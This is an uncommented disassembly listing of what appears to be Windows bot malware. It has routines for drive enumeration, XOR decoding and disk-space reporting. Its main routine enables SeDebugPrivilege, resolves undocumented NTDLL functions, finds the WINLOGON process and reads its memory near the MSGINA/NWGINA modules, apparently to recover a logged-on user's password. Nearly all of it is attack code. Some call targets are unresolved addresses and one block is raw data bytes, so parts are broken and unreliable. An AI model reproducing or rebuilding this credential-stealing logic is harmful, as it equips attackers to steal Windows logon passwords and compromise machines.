mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_4376A4 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_4167F5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4167F5: ; CODE XREF: ___:004167D3j lea eax, [ebp-510h] push eax call sub_4151AC push 10h lea eax, [ebp-10h] push esi push eax call sub_41B590 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41B590 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset dword_43D128 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 2651BF2h cmp eax, edi jnz short loc_416877 call dword_4CAECC call sub_418359 push esi nop call near ptr 77E75CB5h loc_416877: ; CODE XREF: ___:00416863j lea eax, [ebp-148h] push eax push offset unk_437670 jmp short loc_416891 ; --------------------------------------------------------------------------- loc_416885: ; CODE XREF: ___:0041643Ej lea eax, [ebp-248h] push eax push offset unk_437644 loc_416891: ; CODE XREF: ___:00416883j lea eax, [ebp-510h] push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4168C5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4168C5: ; CODE XREF: ___:004168A3j lea eax, [ebp-510h] push eax call sub_4151AC pop ecx loc_4168D2: ; CODE XREF: ___:00416695j ; ___:0041671Ej ... push dword ptr [ebp-18h] call dword_4CAFA8 push dword ptr [ebp-48h] call sub_40B412 pop ecx push esi nop call near ptr 26D0000h ; =============== S U B R O U T I N E ======================================= sub_4168EB proc near ; CODE XREF: ___:00416517p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416907 loc_4168F7: ; CODE XREF: sub_4168EB+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F7 locret_416907: ; CODE XREF: sub_4168EB+Aj retn sub_4168EB endp ; =============== S U B R O U T I N E ======================================= sub_416908 proc near ; CODE XREF: sub_401ACD+5841p ; sub_401ACD+5969p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416922 proc near ; CODE XREF: sub_40F96A+458p ; sub_40F96A+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D2BA8 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416947: ; CODE XREF: sub_416922+5Bj ; sub_416922+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416985 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416947 mov byte ptr [esi], 2Ch inc esi jmp short loc_416947 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416922+4Bj dec esi mov eax, edi loc_416988: ; CODE XREF: sub_416922+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416997 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416988 ; --------------------------------------------------------------------------- loc_416997: ; CODE XREF: sub_416922+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416922 endp ; =============== S U B R O U T I N E ======================================= sub_4169A1 proc near ; CODE XREF: sub_416B56+51p ; sub_416B56+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFD4 sub eax, 0 jz short loc_4169E4 dec eax jz short loc_4169DE dec eax dec eax jz short loc_4169D8 dec eax jz short loc_4169D2 dec eax jz short loc_4169CC dec eax jz short loc_4169C6 mov eax, offset word_437834 retn ; --------------------------------------------------------------------------- loc_4169C6: ; CODE XREF: sub_4169A1+1Dj mov eax, offset off_437830 retn ; --------------------------------------------------------------------------- loc_4169CC: ; CODE XREF: sub_4169A1+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_4169A1+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D8: ; CODE XREF: sub_4169A1+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DE: ; CODE XREF: sub_4169A1+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E4: ; CODE XREF: sub_4169A1+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EA proc near ; CODE XREF: sub_416A32+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CAE64 test eax, eax jz short loc_416A1F lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416A1F: ; CODE XREF: sub_4169EA+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A32 proc near ; CODE XREF: sub_416B56+17p ; sub_41AA42+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EA pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B10 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416922 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B42 ; --------------------------------------------------------------------------- loc_416B10: ; CODE XREF: sub_416A32+2Cj ; sub_416A32+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B42: ; CODE XREF: sub_416A32+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B56 proc near ; CODE XREF: sub_416C28+17p ; sub_416C28+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BC9 push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437884 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BC9: ; CODE XREF: sub_416B56+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437848 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFD: ; CODE XREF: sub_416B56+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_500] push eax call sub_4151AC add esp, 18h pop edi pop esi pop ebx leave retn sub_416B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C49 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h jmp short loc_416CAA ; --------------------------------------------------------------------------- loc_416C49: ; CODE XREF: sub_416C28+9j push esi push edi push ebx push ebx call dword_4CAEDC lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CAEDC cmp [edi], bl mov esi, edi jz short loc_416CA1 loc_416C6D: ; CODE XREF: sub_416C28+77j push offset aA_1 ; "A:\\" push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C90 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h loc_416C90: ; CODE XREF: sub_416C28+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6D loc_416CA1: ; CODE XREF: sub_416C28+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAA: ; CODE XREF: sub_416C28+1Fj pop ebx pop ebp retn sub_416C28 endp ; --------------------------------------------------------------------------- byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h dd 78E46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h dd 8D5018C4h, 0FFFB6485h, 78C468FFh, 0E8500043h, 4B06h dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h dd 0E8535959h, 22B923Ch, 5B5E5F90h, 81EC8B55h, 54CECh dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 2868FFFFh dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 33917FE8h, 75C08502h dd 0FC75FF8Fh, 319173E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 43790Ch dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h dd 50FFFFFEh, 0F9E89056h, 85023390h, 56B175C0h, 90EEE890h dd 458B0231h, 5B5E5F1Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F4 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F59 cmp eax, 2 jz short loc_416F59 push offset unk_437B00 jmp loc_417098 ; --------------------------------------------------------------------------- loc_416F59: ; CODE XREF: sub_416F1A+2Ej ; sub_416F1A+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx test eax, eax pop ecx jz loc_417093 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call near ptr 2690C99h nop mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D3DEC, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D3DE0, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D3FF0, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D3DE8, eax call esi mov dword_4D3DE4, eax call sub_4170EC test eax, eax mov [ebp+arg_0], eax jz loc_417066 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D2DE0 push edi push ebx push offset off_437A3C call esi push edi mov edi, offset dword_4D35E0 push edi push offset off_437A24 call esi cmp [ebp+var_4], 1 push offset dword_4D3FF8 push [ebp+arg_0] jnz short loc_417012 call sub_417275 jmp short loc_417017 ; --------------------------------------------------------------------------- loc_417012: ; CODE XREF: sub_416F1A+EFj call sub_41741C loc_417017: ; CODE XREF: sub_416F1A+F6j pop ecx test eax, eax pop ecx jz short loc_41705F cmp dword_4D3FF8, 0 jnz short loc_417046 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_4379C8 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_417079 ; --------------------------------------------------------------------------- loc_417046: ; CODE XREF: sub_416F1A+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417056 call sub_417552 jmp short loc_41705B ; --------------------------------------------------------------------------- loc_417056: ; CODE XREF: sub_416F1A+133j call sub_4175E9 loc_41705B: ; CODE XREF: sub_416F1A+13Aj pop ecx push eax jmp short loc_41706B ; --------------------------------------------------------------------------- loc_41705F: ; CODE XREF: sub_416F1A+101j push offset unk_437990 jmp short loc_41706B ; --------------------------------------------------------------------------- loc_417066: ; CODE XREF: sub_416F1A+B6j push offset unk_437964 loc_41706B: ; CODE XREF: sub_416F1A+143j ; sub_416F1A+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_417079: ; CODE XREF: sub_416F1A+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push [ebp+var_8] nop call near ptr 2780739h pop ebx jmp short loc_4170A6 ; --------------------------------------------------------------------------- loc_417093: ; CODE XREF: sub_416F1A+4Ej push offset unk_437930 loc_417098: ; CODE XREF: sub_416F1A+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A6: ; CODE XREF: sub_416F1A+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CD push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A72 add esp, 14h loc_4170CD: ; CODE XREF: sub_416F1A+191j lea eax, [ebp+var_29C] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26D0000h pop edi pop esi sub_416F1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427144 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D3DEC push ebp push 0 call esi push eax nop call near ptr 2790000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D3DEC test eax, eax jnz short loc_4171D9 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171D9 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171D9 loc_417175: ; CODE XREF: sub_4170EC+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CC push 0 push 0 call dword_4D3DE0 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D3FF0 test eax, eax jnz short loc_4171BD mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F1 loc_4171BD: ; CODE XREF: sub_4170EC+AAj test edi, edi jz short loc_4171C8 push edi call dword_4D3DE8 loc_4171C8: ; CODE XREF: sub_4170EC+D3j mov eax, [esp+28h+var_10] loc_4171CC: ; CODE XREF: sub_4170EC+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417175 loc_4171D9: ; CODE XREF: sub_4170EC+6Dj ; sub_4170EC+7Aj ... xor edi, edi loc_4171DB: ; CODE XREF: sub_4170EC+17Dj push ebp push 0 call esi push eax call near ptr 2790000h nop mov eax, edi loc_4171E9: ; CODE XREF: sub_4170EC+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F1: ; CODE XREF: sub_4170EC+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725A lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417207: ; CODE XREF: sub_4170EC+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726E push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724C mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724C: ; CODE XREF: sub_4170EC+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417207 loc_41725A: ; CODE XREF: sub_4170EC+10Fj test edi, edi jz short loc_417265 push edi call dword_4D3DE8 loc_417265: ; CODE XREF: sub_4170EC+170j mov edi, [esp+28h+var_4] jmp loc_4171DB ; --------------------------------------------------------------------------- loc_41726E: ; CODE XREF: sub_4170EC+13Cj xor eax, eax jmp loc_4171E9 sub_4170EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417275 proc near ; CODE XREF: sub_416F1A+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 26702CAh cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729E xor eax, eax jmp loc_417419 ; --------------------------------------------------------------------------- loc_41729E: ; CODE XREF: sub_417275+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27B0265h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi mov edi, dword_427144 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_4172EE xor esi, esi jmp loc_41740C ; --------------------------------------------------------------------------- loc_4172EE: ; CODE XREF: sub_417275+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call near ptr 27A0C32h nop test eax, eax jz loc_4173FB mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FB test [ebp+var_2B], 1 jnz loc_4173FB push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4173FB loc_417351: ; CODE XREF: sub_417275+112j push edi push offset dword_4D2DE0 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_417379 lea eax, [edi+200h] push eax push offset dword_4D35E0 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417389 loc_417379: ; CODE XREF: sub_417275+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FB jmp short loc_417351 ; --------------------------------------------------------------------------- loc_417389: ; CODE XREF: sub_417275+102j test edi, edi jz short loc_4173FB lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call near ptr 2740000h nop test eax, eax jz short loc_4173C4 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 2730803h test eax, eax jz short loc_4173C4 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C4: ; CODE XREF: sub_417275+12Bj ; sub_417275+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4004, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D3FFC, eax mov dword_4D4000, edi loc_4173FB: ; CODE XREF: sub_417275+90j ; sub_417275+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 2790000h mov esi, [ebp+var_10] loc_41740C: ; CODE XREF: sub_417275+74j push [ebp+var_4] call near ptr 26518CEh nop pop edi mov eax, esi pop ebx loc_417419: ; CODE XREF: sub_417275+24j pop esi leave retn sub_417275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 26702CAh test eax, eax mov [ebp+arg_0], eax jz loc_41750E mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 27B0265h mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417505 mov edi, dword_427148 loc_417467: ; CODE XREF: sub_41741C+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27A0C32h test eax, eax jz short loc_4174F3 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174F9 test [ebp+var_13], 1 jnz short loc_4174F9 push ecx push 8 call edi push eax nop call near ptr 27A0000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 27B0000h nop test eax, eax jz short loc_4174E5 push offset dword_4D2DE0 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E5 lea eax, [esi+400h] push offset dword_4D35E0 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417515 loc_4174E5: ; CODE XREF: sub_41741C+9Fj ; sub_41741C+B0j push esi push 0 call edi push eax nop call near ptr 2790000h jmp short loc_4174F9 ; --------------------------------------------------------------------------- loc_4174F3: ; CODE XREF: sub_41741C+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174F9: ; CODE XREF: sub_41741C+71j ; sub_41741C+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417467 loc_417505: ; CODE XREF: sub_41741C+3Fj push [ebp+arg_0] call near ptr 26518CEh nop loc_41750E: ; CODE XREF: sub_41741C+1Ej xor eax, eax loc_417510: ; CODE XREF: sub_41741C+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417515: ; CODE XREF: sub_41741C+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D3FFC, ebx mov dword_4D4000, eax cmp [eax], cl jnz short loc_417537 cmp [eax+1], cl jz short loc_41753F loc_417537: ; CODE XREF: sub_41741C+114j ; sub_41741C+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417537 loc_41753F: ; CODE XREF: sub_41741C+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 26518CEh push 1 pop eax jmp short loc_417510 sub_41741C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417552 proc near ; CODE XREF: sub_416F1A+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D3FF8 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 27A0000h mov ecx, dword_4D3FF8 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4000 push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4004 push eax call dword_4D3DE4 push [ebp+var_4] mov edi, offset dword_4D3DF0 push offset dword_4D2DE0 push offset dword_4D35E0 push [ebp+arg_0] push offset dword_437B4C push 